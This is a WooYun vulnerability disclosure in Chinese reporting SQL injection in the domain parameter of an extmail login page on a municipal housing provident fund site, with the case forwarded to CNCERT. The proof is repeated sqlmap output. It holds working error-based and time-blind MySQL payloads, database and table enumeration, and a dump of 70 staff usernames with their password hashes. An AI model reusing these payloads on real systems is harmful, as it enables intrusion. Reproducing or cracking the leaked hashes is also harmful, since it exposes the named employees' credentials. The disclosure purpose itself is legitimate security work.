当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0137519

漏洞标题：某市住房公积金网站SQL注入

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-08-30 18:59

修复时间：2015-10-17 10:54

公开时间：2015-10-17 10:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-30： 细节已通知厂商并且等待厂商处理中
2015-09-02： cncert国家互联网应急中心暂未能联系到相关单位，细节仅向通报机构公开
2015-09-12： 细节向核心白帽子及相关领域专家公开
2015-09-22： 细节向普通白帽子公开
2015-10-02： 细节向实习白帽子公开
2015-10-17： 细节向公众公开

简要描述：

RT

详细说明：

SQL注入

http://**.**.**.**/extmail/cgi/index.cgi?error=msg&__mode=show_login
POST参数：
action=valid_login&bakecookie=&domain=*&nosameip=on&password=g00dPa%24%24w0rD&username=gjvdscie
domain参数存在sql注入


漏洞证明：

sqlmap identified the following injection points with a total of 1823 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(8861=8861,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YYGz'='YYGz&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT * FROM (SELECT(SLEEP(5)))AQQO) AND 'KELo'='KELo&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web application technology: Apache 2.2.14
back-end DBMS: MySQL 5.0
current user:    'vpopmail@localhost'
current database:    'vpopmail'
current user is DBA:    False
available databases [2]:
[*] information_schema
[*] vpopmail
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(8861=8861,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YYGz'='YYGz&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT * FROM (SELECT(SLEEP(5)))AQQO) AND 'KELo'='KELo&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web application technology: Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
Database: vpopmail
[5 tables]
+-------------+
| dir_control |
| lastauth    |
| valias      |
| vlog        |
| vpopmail    |
+-------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(8861=8861,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YYGz'='YYGz&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT * FROM (SELECT(SLEEP(5)))AQQO) AND 'KELo'='KELo&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web application technology: Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
Database: vpopmail
Table: vpopmail
[11 columns]
+-----------------+------------------+
| Column          | Type             |
+-----------------+------------------+
| gid             | int(10) unsigned |
| pw_clear_passwd | char(16)         |
| pw_dir          | char(160)        |
| pw_domain       | char(64)         |
| pw_gecos        | char(48)         |
| pw_gid          | int(11)          |
| pw_name         | char(32)         |
| pw_passwd       | char(40)         |
| pw_shell        | char(20)         |
| pw_uid          | int(11)          |
| uid             | int(10) unsigned |
+-----------------+------------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(8861=8861,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YYGz'='YYGz&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT * FROM (SELECT(SLEEP(5)))AQQO) AND 'KELo'='KELo&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web application technology: Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT 8861 FROM(SELECT COUNT(*),CONCAT(0x7171627871,(SELECT (ELT(8861=8861,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'YYGz'='YYGz&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: action=valid_login&bakecookie=&domain=' AND (SELECT * FROM (SELECT(SLEEP(5)))AQQO) AND 'KELo'='KELo&nosameip=on&password=g00dPa$$w0rD&username=gjvdscie
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
web application technology: Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
Database: vpopmail
Table: vpopmail
[70 entries]
+----------------+------------------------------------+
| pw_name        | pw_passwd                          |
+----------------+------------------------------------+
| caiwen         | $1$u3bF/UQU$f.ah5r/vRlqp.rpPIE.zs1 |
| dengchaofeng   | $1$v6f5WZ91$IaPotF2VYzWppg6cpKRTx0 |
| dingchunchao   | gSfe6YTqgHr3A                      |
| du             | $1$VS6eLKwT$4tOajARkM6iCtHKxpNkUG/ |
| fenghui        | $1$gHt5hbJk$rUZBZqjVGdztD9i3BvZKY. |
| gaodehui       | $1$RQ1Ozk39$anT9gDgi3mQcTPE0/nmv21 |
| guofengwei     | $1$gjD/XeZt$8DHIrfOX9SxXmxL3OEqX01 |
| guolihui       | $1$pzJ7yAEW$K0cf8hZN53xiQGhXPWQ2g0 |
| helijuan       | $1$ePfxRLq4$PQ21eqzpc9qmQyE6jGGTY1 |
| huangjinghong  | $1$ZoW7zm7Y$ls8dY1/u9kwnMJrihR1e.1 |
| jiajianjie     | .wQ08Ja81NRS2                      |
| jiangxiaozheng | $1$FuKlupgg$MbsVXrzjsJQ9Nb80P2i6U1 |
| jiayanhong     | $1$hISC4PSO$aSqs0GKWZGk87WtVWavOW1 |
| jidong         | UVWB44U29djkI                      |
| kuaitiemin     | OhI84s.DfqY/A                      |
| lidazhi        | $1$nl66f2Su$3jmlztrNZcvfBzW55QUK00 |
| lidechen       | $1$x0mdr9VJ$EDG38CXMYP.izO51Ulizk. |
| lifanghua      | $1$R.mSxRfn$nrZ4ukujHiyV.cKI2LSY./ |
| liuhaipeng     | $1$HqIHWLLq$QrIE/T2JXbm5TQyoh9bQl1 |
| liweijun       | $1$.fHxW6zt$CBDbk8MZEm85x6JE8sDR9. |
| lixiangguo     | $1$7grQCZiT$gPskPK1KiBniJnpSO/K0b0 |
| lizhenjun      | $1$gjWona2z$Guy0OePQrYeJmQLeK1xgG1 |
| luochen        | $1$Fqc95JKY$Z.Pa9HV53BulSXyNy558n1 |
| mashumei       | $1$djVR81Tf$H1D/F5OZi2kd.EMJ.2BUr1 |
| mazhanyou      | LlbzMo2hM7vfY                      |
| mengqingdong   | $1$vJa9kCZe$bkKd1oMI2N5WyVEeiNXEC1 |
| mengqingyang   | $1$V0BG6hKD$KW41Q6Y6pHRrouPpgGhcf0 |
| ougui          | $1$TXm40zlJ$Yzpr7En29XdeGW1L/.qXP1 |
| pengmin        | 7Qhw8xJto3/J2                      |
| postmaster     | $1$xigr37rL$TtApHUT6.x8Hto3.MN85i/ |
| shangdongwei   | $1$GtFsCrWC$DffeIwwnMjGva5Xx4EYOt1 |
| shixiuyan      | cTDljbwR2iVgI                      |
| sunxiaoping    | $1$W10wFXZo$wgnHsmeMmvDWgYg7BIhMU/ |
| sunzhuoli      | .IVl.orVY.tIY                      |
| suzhanfu       | $1$chskfgTz$8ne5gAVzK82ybUHns3VVd/ |
| wangchunhai    | $1$sCi2n4vv$t6HyLX1syh72qarrYwel.0 |
| wangchunyan    | $1$suh0Q1E7$.NVwou4OcBUF4Ii7NyE2U/ |
| wanghongyan    | $1$zpkhqxzB$gXxyq68OApuA6XVAj4.fW/ |
| wangjianyu     | $1$ispMEKtq$WYvK.S112r71Y7oj5GYHc. |
| wangjinhu      | $1$Y6tTwmx6$rGiQX.VHZ66IOfoGtHB0x1 |
| wangli         | $1$ksEO/Me/$YwngGNPnze8ulPkA1WyI// |
| wanglijie      | $1$ARnG/84H$vV9nDA52TYKTsdz2xn4aZ1 |
| wangxueshui    | $1$30AZvLe8$zZ5U1WAjSbi239.Cd2XbF0 |
| wenyi          | 8xM8R3w1Hfifs                      |
| wucuiling      | $1$EiD1keOb$1dkR48g8TEZoG7hmhUcAc0 |
| xiaxiaohong    | $1$HFX1Ix/.$frImNZj7KgK9uw8tRwOXm0 |
| xiezhonghui    | $1$irkgTC6u$umivSWNwFAVioBPO62yJ40 |
| xuhua          | $1$13RlkDNr$Us/q6XxlWrhbME9N7EpOw. |
| yangjianjun    | $1$Mcl3CbCe$i8KKXCcOjb7WAUgBNiQUU1 |
| yangyang       | $1$CDC//w7a$F8w2YTgp04TqWTK1P/hyx. |
| yanyongru      | $1$xqQzgOL9$vMcuSgPVwxqLAFxyXBqT8. |
| yaoxiaojing    | $1$48ieWUGx$/qZYJGINCBwDdU90oZG5y. |
| yinxiuguang    | $1$7.HPkB5d$wS3BbL1JcgtDM/5pqIWPb1 |
| yushuxia       | $1$fXjPhg.W$JMHpQ/V/RZNH.2hk5TssN/ |
| yuxiumin       | $1$Klcd6DZV$mr4GvL0JpsxadZ/TwpAmc. |
| zhaihuimin     | 2QWRbB8erHYtY                      |
| zhanfulin      | $1$.DebbAc2$AmSRBvO/lNfE0i6sicScm/ |
| zhangchunyan   | $1$gt8cNBt2$zFiNBlRvZyGJSxN1AYBjS/ |
| zhangfuna      | $1$riUl0zrY$TFl73XKf7WAJblMdwR2RH. |
| zhanghuaming   | $1$8yePP7SC$/FffkgKjMxRMsiwvfaG.1. |
| zhangjinglin   | $1$tbLX/O1H$IL19GSkgAxEidqFfajav6/ |
| zhanglei       | $1$G5nL1XAK$wxYBlbfyceZoawJX4ZDrK1 |
| zhangxiujun    | $1$PvxKRyUm$vhwE.eRBSPajqe02S7lXY. |
| zhangying      | $1$i/7JnPeH$bB3.eyH9C6rEhHb3XFFJX. |
| zhangyueli     | $1$UDIKEwPj$4BghgqKNPMPoUof8eCllj1 |
| zhaobingfeng   | $1$70boy8y0$6q31HjqryTebbGPYJEbF71 |
| zhaochanghua   | $1$sc.Z8IA2$qwKjZ6B9DRJDHoBvUKaYz0 |
| zhaofang       | $1$0KZq9raG$PVY.l0jaoC9Z.31qfyPf.1 |
| zhaolijun      | $1$aAOQb9zW$S5eEYc.6oN9wOgXtkYjwd/ |
| zhaoshuqing    | $1$neLyW0mx$hSuIkxXhhI/F3mdlWj/1C/ |
+----------------+------------------------------------+

修复方案：

参数过滤，管理员帮忙打下码。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-09-02 10:52

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给河北分中心，由其后续协调网站管理单位处置。

最新状态：

暂无